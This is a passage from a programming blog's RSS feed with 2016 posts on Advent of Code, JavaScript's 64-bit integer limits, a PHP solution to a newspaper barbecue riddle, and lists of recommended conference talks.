&lt;h3 id=&#34;scores-on-the-leaderboard&#34;&gt;Scores on the Leaderboard&lt;/h3&gt;
&lt;p&gt;There is a leaderboard allowing you to compare yourself with other programmers.
A nice 100 points are awarded to the person that solves the puzzle first and 90
to the tenth 80 to the 20th. If you don&amp;rsquo;t hit the top 100, then you can still
see your rank, but you will receive 0 points. Another complicating factor is
that the puzzles become available at midnight in New York (EST time). I have to
get up at 6:00 in the morning to compete, not fair! Nevertheless I was proud to
score 58th on the
&lt;a href=&#34;http://adventofcode.com/2016/leaderboard/day/5&#34;&gt;5th of December&lt;/a&gt; when I
actually got up early to try.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Every day in December I am doing a programming puzzle. The series is called
<a href="http://adventofcode.com">Advent of Code</a> and it follows the advent calendar
approach. Every day from the 1st until the 25th of December one puzzle is
unlocked. The puzzles get gradually harder and each puzzle has two parts, where
the first part is easier than the second.</p>
<h3 id="scores-on-the-leaderboard">Scores on the Leaderboard</h3>
<p>There is a leaderboard allowing you to compare yourself with other programmers.
A nice 100 points are awarded to the person that solves the puzzle first and 90
to the tenth 80 to the 20th. If you don&rsquo;t hit the top 100, then you can still
see your rank, but you will receive 0 points. Another complicating factor is
that the puzzles become available at midnight in New York (EST time). I have to
get up at 6:00 in the morning to compete, not fair! Nevertheless I was proud to
score 58th on the
<a href="http://adventofcode.com/2016/leaderboard/day/5">5th of December</a> when I
actually got up early to try.</p>
<h3 id="advent-of-code-2016">Advent of Code 2016</h3>
<p>Although I can program in a dozen of languages, I decided to solve the puzzles
in PHP, as I feel very comfortable in that language, which is important when
attempting a speed record. Typically these puzzles take me 5 to 30 minutes to
solve, which is typically the amount of time that you can make free on any given
day for something as fun as this. Some of my colleagues are attending as well
and therefore I publish my solutions on my
<a href="https://github.com/mevdschee/AdventOfCode2016">Github</a> account (so I can get
some feedback). We even registered for a private leaderboard on the site, so
that we can see whether or not everybody has solved a given puzzle.</p>
<h3 id="advent-of-code-2015">Advent of Code 2015</h3>
<p>Last year&rsquo;s puzzles are available as well! And although you can no longer hit
the leaderboard, you can still track your progress. I decided to solve last
year&rsquo;s problems in <a href="https://golang.org/">Go</a>. I love the Go language for being
somewhere in between C and Java in many aspects. The biggest advantage of doing
last year&rsquo;s puzzles is that you can just keep going and do not have to wait 24
hours for the next puzzle to become available. I encountered one particularly
hard puzzle in last year&rsquo;s series:
<a href="http://adventofcode.com/2015/day/19">19 part 2</a>. I eventually solved it, but
still don&rsquo;t quite understand why the solution is correct. These solutions are
also published on my <a href="https://github.com/mevdschee/AdventOfCode2015">Github</a>
account for future reference.</p>
<h3 id="about-eric-wastle">About Eric Wastle</h3>
<p><a href="http://was.tl/">Eric Wastl</a> is the creator of Advent of Code. He also made
<a href="http://vanilla-js.com/">Vanilla JS</a>, <a href="http://phpsadness.com/">PHP Sadness</a>, and
<a href="http://was.tl/projects/">lots of other things</a>. These other projects are also
worth checking out! You can follow him on
<a href="https://twitter.com/ericwastl">Twitter</a> and <a href="https://github.com/topaz">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>JavaScript cannot handle 64 bit integers</title>
      <link>https://www.tqdev.com/2016-javascript-cannot-handle-64-bit-integers/</link>
      <pubDate>Wed, 30 Nov 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-javascript-cannot-handle-64-bit-integers/</guid>
      <description>&lt;p&gt;JavaScript represents all numbers using IEEE-754 double-precision (64 bit)
floating points. This is problematic for 64 bit integers, since this gives only
gives you 53 bits of precision (the size of the mantissa). Bit operations are
also only available for integer number up to 32 bits. Finally, the JSON exchange
format does not support the IEEE-754 &amp;ldquo;NaN&amp;rdquo;, &amp;ldquo;Infinity&amp;rdquo; and &amp;ldquo;-Infinity&amp;rdquo; values.
So the only numbers you can freely use in JavaScript without the risk of
data-loss are 32 bit integers.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>JavaScript represents all numbers using IEEE-754 double-precision (64 bit)
floating points. This is problematic for 64 bit integers, since this gives only
gives you 53 bits of precision (the size of the mantissa). Bit operations are
also only available for integer number up to 32 bits. Finally, the JSON exchange
format does not support the IEEE-754 &ldquo;NaN&rdquo;, &ldquo;Infinity&rdquo; and &ldquo;-Infinity&rdquo; values.
So the only numbers you can freely use in JavaScript without the risk of
data-loss are 32 bit integers.</p>
<h3 id="auto-incrementing-primary-keys">Auto incrementing primary keys</h3>
<p>When you are using 64 bit auto incrementing primary keys you are at risk. This
is the data type &lsquo;bigint&rsquo; in SQL Server and MySQL or &lsquo;bigserial&rsquo; in PostgreSQL.
Unless you are using NodeJS, you can correctly represent their value in a JSON
object, but as soon as you interpret these values they lose precision. The
simplest work-around is to represent these numbers as strings in your JSON.
Alternatively you can switch to UUID primary keys, which have nice properties
for distributed systems as an added benefit.</p>
<h3 id="bitwise-operators">Bitwise operators</h3>
<p>The bitwise operators &lsquo;AND&rsquo;, &lsquo;OR&rsquo;, &lsquo;NOT&rsquo;, &lsquo;XOR&rsquo;, &lsquo;&laquo;&rsquo;, &lsquo;&raquo;&rsquo; and &lsquo;&raquo;&gt;&rsquo; will
convert the operands to a true 32 bit integer before applying the operation. The
32 bit result of the operation will be stored in a double-precision floating
point. This means you cannot apply these operators on any number that is bigger
than 32 bits without losing data.</p>
<h3 id="special-float-values">Special float values</h3>
<p>The &ldquo;NaN&rdquo;, &ldquo;Infinity&rdquo; and &ldquo;-Infinity&rdquo; floating point values are not supported in
JSON. The obvious work-around is to send them as a string and interpret them
using the JavaScript &ldquo;parseFloat&rdquo; function. This will correctly handle them
which will reduces most of the problem to a technicality in practice.
Nevertheless it is a good thing to be aware of.</p>
<h3 id="how-big-is-the-integer-problem">How big is the integer problem?</h3>
<p>Not very, as you can see below:</p>
<pre><code>int64   fits any 18 digit number (63 bit + sign bit)
float64 fits any 15 digit number (53 bit mantissa)
int32   fits any  9 digit number (31 bit + sign bit)
</code></pre>
<p>&hellip; and we are not making a big fuss about signed or unsigned int64 either
(allowing us either 18 or 19 digits), are we? A number of 15 digits is still a
very very large number that you will not encounter very often.</p>
<h3 id="conclusion">Conclusion</h3>
<p>The way numbers are handled is a bit strange, unexpected and certainly not
pretty. This may sound alarming to you if you are used to more predictable
languages (like Go or Java). On the other hand it will not lead to many problems
in practice as long as you aware of these explicit inner workings. I hope this
post has helped to create this awareness for you (it did for me).</p>
]]></content:encoded>
    </item>
    <item>
      <title>3 programming videos worth watching</title>
      <link>https://www.tqdev.com/2016-3-programming-videos-worth-watching/</link>
      <pubDate>Sun, 27 Nov 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-3-programming-videos-worth-watching/</guid>
      <description>&lt;p&gt;There are many conferences that publish their talks on YouTube, but not all
talks are equally good. I try to watch as many as I can and then take the best
ones that I have seen and publish them here on this blog. I was doing this with
lists of conference videos before, but today will experiment with individual
videos: 3 very interesting talks from 3 different interesting conferences.&lt;/p&gt;
&lt;h3 id=&#34;c-ruby-c-ruby-go-go-ruby-go&#34;&gt;C Ruby? C Ruby Go! Go Ruby Go!&lt;/h3&gt;
&lt;p&gt;Ever wanted to rewrite performance sensitive code as a native Ruby extension,
but got stuck trying to navigate the depths of Ruby’s C API before you could get
anything done? Or maybe you’re just not comfortable with C and want an easier
path.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There are many conferences that publish their talks on YouTube, but not all
talks are equally good. I try to watch as many as I can and then take the best
ones that I have seen and publish them here on this blog. I was doing this with
lists of conference videos before, but today will experiment with individual
videos: 3 very interesting talks from 3 different interesting conferences.</p>
<h3 id="c-ruby-c-ruby-go-go-ruby-go">C Ruby? C Ruby Go! Go Ruby Go!</h3>
<p>Ever wanted to rewrite performance sensitive code as a native Ruby extension,
but got stuck trying to navigate the depths of Ruby’s C API before you could get
anything done? Or maybe you’re just not comfortable with C and want an easier
path.</p>
<p>Do you know any Go? Well, if you do, you’re in luck! Join us for this talk about
a tool named &ldquo;gorb&rdquo; that will quickly and easily let you generate native Ruby
extension wrappers for your Go programs. And if you don’t know Go, come anyway,
it’s really easy to learn! We’ll have you writing blazing fast code that you can
use right from Ruby, in no time at all.</p>
<p><a href="https://www.youtube.com/watch?v=V1ZMQjm9I50&amp;list=PLE7tQUdRKcyaMUYwB6tTX5p2Z6fOCdGRE">RubyConf 2016 - Loren Segal</a>
[42:28]</p>
<h3 id="turbolinks-5-i-cant-believe-its-not-native">Turbolinks 5: I Can’t Believe It’s Not Native!</h3>
<p>Learn how Turbolinks 5 enables small teams to deliver lightning-fast Rails
applications in the browser, plus high-fidelity hybrid apps for iOS and Android,
all using a shared set of web views.</p>
<p><a href="https://www.youtube.com/watch?v=SWEts0rlezA">RailsConf 2016 - Sam Stephenson</a>
[37:36]</p>
<h3 id="secure-software-distribution-in-an-adversarial-world">Secure Software Distribution in an Adversarial World</h3>
<p>As more of our applications become dependent on external modules, having secure
software update systems becomes increasingly important. Diogo argues that we
should operate under an attack model that considers the distribution
infrastructure itself as being actively malicious.</p>
<p><a href="https://www.youtube.com/watch?v=2Dyz8huMfIo">dotSecurity 2016 - Diogo Mónica</a>
[17:56]</p>
]]></content:encoded>
    </item>
    <item>
      <title>Mathematical barbecue riddle </title>
      <link>https://www.tqdev.com/2016-mathematical-barbecue-riddle/</link>
      <pubDate>Mon, 21 Nov 2016 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-mathematical-barbecue-riddle/</guid>
      <description>&lt;p&gt;On the 19th of November, the Dutch Financial Times
(&lt;a href=&#34;https://fd.nl/krant/2016/11/19&#34;&gt;Financieel Dagblad&lt;/a&gt;) has published a barbecue
riddle on page 14. It is a combinatorial problem that certainly will have a nice
theoretical solution, but that &amp;ldquo;we programmers&amp;rdquo; tend to solve in a few minutes
using our favorite scripting language. The problem states (freely translated):&lt;/p&gt;
&lt;h3 id=&#34;problem&#34;&gt;Problem&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Today is &amp;lsquo;International Men&amp;rsquo;s Day&amp;rsquo; and that&amp;rsquo;s why we have a mathematical
riddle about barbecuing. On our roof terrace there is a big barbecue with
enough space for twenty pieces of meat next to each other. On this joyful day
we have bought plenty of slices of bacon and hamburgers. Everybody knows you
should never put two slices of bacon next to each other on the barbecue: the
fat that drips from the bacon will make the coal catch fire. That&amp;rsquo;s why next
to a slice of bacon you should always put a hamburger, except for the position
at the end of the BBQ, where there is no more room for meat.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On the 19th of November, the Dutch Financial Times
(<a href="https://fd.nl/krant/2016/11/19">Financieel Dagblad</a>) has published a barbecue
riddle on page 14. It is a combinatorial problem that certainly will have a nice
theoretical solution, but that &ldquo;we programmers&rdquo; tend to solve in a few minutes
using our favorite scripting language. The problem states (freely translated):</p>
<h3 id="problem">Problem</h3>
<blockquote>
<p>&ldquo;Today is &lsquo;International Men&rsquo;s Day&rsquo; and that&rsquo;s why we have a mathematical
riddle about barbecuing. On our roof terrace there is a big barbecue with
enough space for twenty pieces of meat next to each other. On this joyful day
we have bought plenty of slices of bacon and hamburgers. Everybody knows you
should never put two slices of bacon next to each other on the barbecue: the
fat that drips from the bacon will make the coal catch fire. That&rsquo;s why next
to a slice of bacon you should always put a hamburger, except for the position
at the end of the BBQ, where there is no more room for meat.</p></blockquote>
<blockquote>
<p>In how many ways can we completely fill the barbecue, putting 20 pieces of
meat next to each other?&rdquo; (<a href="https://fd.nl/krant/2016/11/19">source</a>)</p></blockquote>
<h3 id="solution">Solution</h3>
<p>I liked the puzzle as I could very well visualize it. And it took me no effort
to write down the following algorithm:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nv">$bbqs</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o">&lt;</span><span class="mi">20</span><span class="p">;</span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$new</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">  <span class="k">foreach</span> <span class="p">(</span><span class="nv">$bbqs</span> <span class="k">as</span> <span class="nv">$bbq</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">array_push</span><span class="p">(</span><span class="nv">$new</span><span class="p">,</span><span class="nv">$bbq</span><span class="o">.</span><span class="s1">&#39;h&#39;</span><span class="p">,</span><span class="nv">$bbq</span><span class="o">.</span><span class="s1">&#39;s&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$bbqs</span> <span class="o">=</span> <span class="nx">array_filter</span><span class="p">(</span><span class="nv">$new</span><span class="p">,</span><span class="k">function</span><span class="p">(</span><span class="nv">$v</span><span class="p">){</span> 
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">strpos</span><span class="p">(</span><span class="nv">$v</span><span class="p">,</span><span class="s1">&#39;ss&#39;</span><span class="p">)</span><span class="o">===</span><span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">count</span><span class="p">(</span><span class="nv">$bbqs</span><span class="p">));</span>
</span></span></code></pre></div><p>I&rsquo;m pretty sure that this could be written more elegant, but this was what came
to mind. The algorithm will start with 1 empty barbecue and will create a new
set of barbecue configurations by adding a hamburger and a slice of bacon to
each of them (doubling the amount of configurations). Next it will remove all
barbecue configurations that violate the &ldquo;no two slices of bacon in a row&rdquo; rule.</p>
<h3 id="in-retrospect">In retrospect</h3>
<p>Although the answer is correct (17711), this was not the way the problem was
meant to be solved. That didn&rsquo;t matter to me as I still enjoyed the puzzle a
lot. Thank you newspaper!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Devoxx 2016 videos online</title>
      <link>https://www.tqdev.com/2016-devoxx-2016-videos-online/</link>
      <pubDate>Fri, 18 Nov 2016 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-devoxx-2016-videos-online/</guid>
      <description>&lt;p&gt;Devoxx 2016 (a developer conference) was held November 7-11 in Antwerp, Belgium.
Hubert Sablonnière&amp;rsquo;s excellent talk titled
&amp;ldquo;&lt;a href=&#34;https://www.youtube.com/watch?v=67mezK3NzpU&#34;&gt;100% Stateless with JWT&lt;/a&gt;&amp;rdquo; is
available on Youtube! The other 43 &amp;ldquo;top-rated&amp;rdquo; talks (a list curated by Devoxx)
can be found below.&lt;/p&gt;
&lt;h3 id=&#34;talks&#34;&gt;Talks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=aaZMh4IqMcM&#34;&gt;Flying services with the drone&lt;/a&gt;
[45:40]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NSzsYWckGd4&#34;&gt;Declarative Thinking, Declarative Practice&lt;/a&gt;
[1:00:54]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=1oKlYgsnyfw&#34;&gt;Make CSS Fun Again with Flexbox!&lt;/a&gt;
[30:51]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=weWSYIUdX6c&#34;&gt;Reactive Programming&lt;/a&gt; [2:36:06]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nVZE53IYi4w&#34;&gt;Twelve Ways to Make Code Suck Less&lt;/a&gt;
[1:00:44]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=derC33ODrME&#34;&gt;How Google DeepMind conquered the game of Go&lt;/a&gt;
[52:56]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NcetKbGayZY&#34;&gt;Refactoring to Java 8&lt;/a&gt; [52:10]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=cIJ4sKaoF8A&#34;&gt;Continuous Delivery At GitHub&lt;/a&gt;
[1:01:13]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=oGll155-vuQ&#34;&gt;Java Language and Platform Futures: A Sneak Peek&lt;/a&gt;
[1:00:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=kbKxmEeuvc4&#34;&gt;Modular monoliths&lt;/a&gt; [52:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ki2ZgosjVyw&#34;&gt;Java EE, TypeScript and Angular2&lt;/a&gt;
[2:48:41]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=un6hdGh7jUs&#34;&gt;Machine Learning for Developers&lt;/a&gt;
[58:31]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Ej0sss6cq14&#34;&gt;Optional - The Mother of All Bikesheds&lt;/a&gt;
[58:43]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5M3AzAk70SM&#34;&gt;Javaslang - Functional Java The Easy Way&lt;/a&gt;
[50:00]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=0-Nh-ur83P4&#34;&gt;How Angular Makes the Mobile Web Awesome&lt;/a&gt;
[45:44]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3eOFCn5COvc&#34;&gt;Zen &amp;amp; The Art of Angular 2&lt;/a&gt;
[52:33]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=67mezK3NzpU&#34;&gt;100% Stateless with JWT (JSON Web Token)&lt;/a&gt;
[57:50]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NDDp7BiSad4&#34;&gt;The end of polling : why and how to transform a REST API into a Data Streaming API?&lt;/a&gt;
[25:50]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OFgxAFdxYAQ&#34;&gt;A Crash Course in Modern Hardware&lt;/a&gt;
[59:21]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=2nup6Oizpcw&#34;&gt;Thinking In Parallel&lt;/a&gt; [1:00:04]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=UHN_HcjZa7o&#34;&gt;Deep Dive into JUnit 5&lt;/a&gt;
[1:02:24]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ZXGaC3GR3zU&#34;&gt;Security and Microservices&lt;/a&gt;
[1:00:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=RGp4HUKikts&#34;&gt;Easily secure your Front and back applications with KeyCloak&lt;/a&gt;
[31:38]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=JG00rfoWVeU&#34;&gt;Effective Service API Design&lt;/a&gt;
[1:00:41]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=kiy1uTW1CRI&#34;&gt;Using Machine Learning to Enhance your Apps&lt;/a&gt;
[44:08]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=oy3202OFPpM&#34;&gt;Java 9 Modularity in Action&lt;/a&gt;
[2:26:10]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=e9eSPtpiGkA&#34;&gt;Keynote Session by Mark Reinhold and Brian Goetz&lt;/a&gt;
[37:29]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=O8-Jm-QfDBA&#34;&gt;Advanced Spring Data REST&lt;/a&gt;
[1:02:00]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=rdgJ8fOxJhc&#34;&gt;Reactive Web Applications with Spring 5&lt;/a&gt;
[58:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Rmer37g9AZM&#34;&gt;g ∘ f patterns&lt;/a&gt; [1:01:40]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=fxB9cVNcyZo&#34;&gt;Project Jigsaw: Under The Hood&lt;/a&gt;
[59:58]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=b8YX45ymAeE&#34;&gt;Java Collections: The Force Awakens&lt;/a&gt;
[50:05]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=03GsLxVdVzU&#34;&gt;Designing for Performance&lt;/a&gt;
[56:56]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=uof5h-j0IeE&#34;&gt;It&#39;s a kind of magic: under the covers of Spring Boot&lt;/a&gt;
[2:35:09]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=dQVxbPqlBkE&#34;&gt;Why you should really care about the blockchain&lt;/a&gt;
[1:00:35]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=a3uCeV2Dst4&#34;&gt;Do you really want to go fully micro?&lt;/a&gt;
[31:20]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Cj4foJzPF80&#34;&gt;Developing Reactive applications with Reactive Streams and Java 8&lt;/a&gt;
[2:40:59]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=96vce1qd0QY&#34;&gt;Anticipating Java 9 - Functionality and Tooling&lt;/a&gt;
[30:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=cnDv8s1kAiA&#34;&gt;Hot.orElse(Not)&lt;/a&gt; [15:00]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=6dfBd-2Oq1M&#34;&gt;Microservices Evolution: How to break your monolithic database&lt;/a&gt;
[1:00:30]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=T-ujPlfm6p4&#34;&gt;Devoxx Belgium 2016 Opening Keynote&lt;/a&gt;
[2:00:22]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=yM0GQw1zgrA&#34;&gt;Billions of lines of code in a single repository, SRSLY?&lt;/a&gt;
[16:07]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=g52hubmhUP4&#34;&gt;Authentication and Authorization in a Cloud and Microservice World&lt;/a&gt;
[53:20]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Are you looking for other talks? There are
&lt;a href=&#34;https://www.youtube.com/playlist?list=PLRsbF2sD7JVq_TvmCyJC3-oT9nBGdwq6s&#34;&gt;178 talks&lt;/a&gt;
from Devoxx Belgium 2016 available on YouTube!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Devoxx 2016 (a developer conference) was held November 7-11 in Antwerp, Belgium.
Hubert Sablonnière&rsquo;s excellent talk titled
&ldquo;<a href="https://www.youtube.com/watch?v=67mezK3NzpU">100% Stateless with JWT</a>&rdquo; is
available on Youtube! The other 43 &ldquo;top-rated&rdquo; talks (a list curated by Devoxx)
can be found below.</p>
<h3 id="talks">Talks</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=aaZMh4IqMcM">Flying services with the drone</a>
[45:40]</li>
<li><a href="https://www.youtube.com/watch?v=NSzsYWckGd4">Declarative Thinking, Declarative Practice</a>
[1:00:54]</li>
<li><a href="https://www.youtube.com/watch?v=1oKlYgsnyfw">Make CSS Fun Again with Flexbox!</a>
[30:51]</li>
<li><a href="https://www.youtube.com/watch?v=weWSYIUdX6c">Reactive Programming</a> [2:36:06]</li>
<li><a href="https://www.youtube.com/watch?v=nVZE53IYi4w">Twelve Ways to Make Code Suck Less</a>
[1:00:44]</li>
<li><a href="https://www.youtube.com/watch?v=derC33ODrME">How Google DeepMind conquered the game of Go</a>
[52:56]</li>
<li><a href="https://www.youtube.com/watch?v=NcetKbGayZY">Refactoring to Java 8</a> [52:10]</li>
<li><a href="https://www.youtube.com/watch?v=cIJ4sKaoF8A">Continuous Delivery At GitHub</a>
[1:01:13]</li>
<li><a href="https://www.youtube.com/watch?v=oGll155-vuQ">Java Language and Platform Futures: A Sneak Peek</a>
[1:00:25]</li>
<li><a href="https://www.youtube.com/watch?v=kbKxmEeuvc4">Modular monoliths</a> [52:45]</li>
<li><a href="https://www.youtube.com/watch?v=ki2ZgosjVyw">Java EE, TypeScript and Angular2</a>
[2:48:41]</li>
<li><a href="https://www.youtube.com/watch?v=un6hdGh7jUs">Machine Learning for Developers</a>
[58:31]</li>
<li><a href="https://www.youtube.com/watch?v=Ej0sss6cq14">Optional - The Mother of All Bikesheds</a>
[58:43]</li>
<li><a href="https://www.youtube.com/watch?v=5M3AzAk70SM">Javaslang - Functional Java The Easy Way</a>
[50:00]</li>
<li><a href="https://www.youtube.com/watch?v=0-Nh-ur83P4">How Angular Makes the Mobile Web Awesome</a>
[45:44]</li>
<li><a href="https://www.youtube.com/watch?v=3eOFCn5COvc">Zen &amp; The Art of Angular 2</a>
[52:33]</li>
<li><a href="https://www.youtube.com/watch?v=67mezK3NzpU">100% Stateless with JWT (JSON Web Token)</a>
[57:50]</li>
<li><a href="https://www.youtube.com/watch?v=NDDp7BiSad4">The end of polling : why and how to transform a REST API into a Data Streaming API?</a>
[25:50]</li>
<li><a href="https://www.youtube.com/watch?v=OFgxAFdxYAQ">A Crash Course in Modern Hardware</a>
[59:21]</li>
<li><a href="https://www.youtube.com/watch?v=2nup6Oizpcw">Thinking In Parallel</a> [1:00:04]</li>
<li><a href="https://www.youtube.com/watch?v=UHN_HcjZa7o">Deep Dive into JUnit 5</a>
[1:02:24]</li>
<li><a href="https://www.youtube.com/watch?v=ZXGaC3GR3zU">Security and Microservices</a>
[1:00:49]</li>
<li><a href="https://www.youtube.com/watch?v=RGp4HUKikts">Easily secure your Front and back applications with KeyCloak</a>
[31:38]</li>
<li><a href="https://www.youtube.com/watch?v=JG00rfoWVeU">Effective Service API Design</a>
[1:00:41]</li>
<li><a href="https://www.youtube.com/watch?v=kiy1uTW1CRI">Using Machine Learning to Enhance your Apps</a>
[44:08]</li>
<li><a href="https://www.youtube.com/watch?v=oy3202OFPpM">Java 9 Modularity in Action</a>
[2:26:10]</li>
<li><a href="https://www.youtube.com/watch?v=e9eSPtpiGkA">Keynote Session by Mark Reinhold and Brian Goetz</a>
[37:29]</li>
<li><a href="https://www.youtube.com/watch?v=O8-Jm-QfDBA">Advanced Spring Data REST</a>
[1:02:00]</li>
<li><a href="https://www.youtube.com/watch?v=rdgJ8fOxJhc">Reactive Web Applications with Spring 5</a>
[58:25]</li>
<li><a href="https://www.youtube.com/watch?v=Rmer37g9AZM">g ∘ f patterns</a> [1:01:40]</li>
<li><a href="https://www.youtube.com/watch?v=fxB9cVNcyZo">Project Jigsaw: Under The Hood</a>
[59:58]</li>
<li><a href="https://www.youtube.com/watch?v=b8YX45ymAeE">Java Collections: The Force Awakens</a>
[50:05]</li>
<li><a href="https://www.youtube.com/watch?v=03GsLxVdVzU">Designing for Performance</a>
[56:56]</li>
<li><a href="https://www.youtube.com/watch?v=uof5h-j0IeE">It's a kind of magic: under the covers of Spring Boot</a>
[2:35:09]</li>
<li><a href="https://www.youtube.com/watch?v=dQVxbPqlBkE">Why you should really care about the blockchain</a>
[1:00:35]</li>
<li><a href="https://www.youtube.com/watch?v=a3uCeV2Dst4">Do you really want to go fully micro?</a>
[31:20]</li>
<li><a href="https://www.youtube.com/watch?v=Cj4foJzPF80">Developing Reactive applications with Reactive Streams and Java 8</a>
[2:40:59]</li>
<li><a href="https://www.youtube.com/watch?v=96vce1qd0QY">Anticipating Java 9 - Functionality and Tooling</a>
[30:49]</li>
<li><a href="https://www.youtube.com/watch?v=cnDv8s1kAiA">Hot.orElse(Not)</a> [15:00]</li>
<li><a href="https://www.youtube.com/watch?v=6dfBd-2Oq1M">Microservices Evolution: How to break your monolithic database</a>
[1:00:30]</li>
<li><a href="https://www.youtube.com/watch?v=T-ujPlfm6p4">Devoxx Belgium 2016 Opening Keynote</a>
[2:00:22]</li>
<li><a href="https://www.youtube.com/watch?v=yM0GQw1zgrA">Billions of lines of code in a single repository, SRSLY?</a>
[16:07]</li>
<li><a href="https://www.youtube.com/watch?v=g52hubmhUP4">Authentication and Authorization in a Cloud and Microservice World</a>
[53:20]</li>
</ul>
<p>Are you looking for other talks? There are
<a href="https://www.youtube.com/playlist?list=PLRsbF2sD7JVq_TvmCyJC3-oT9nBGdwq6s">178 talks</a>
from Devoxx Belgium 2016 available on YouTube!</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Stop using passwords</title>
      <link>https://www.tqdev.com/2016-stop-using-passwords/</link>
      <pubDate>Sat, 12 Nov 2016 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-stop-using-passwords/</guid>
      <description>&lt;p&gt;Every site nowadays has a username/password login and that is problematic.
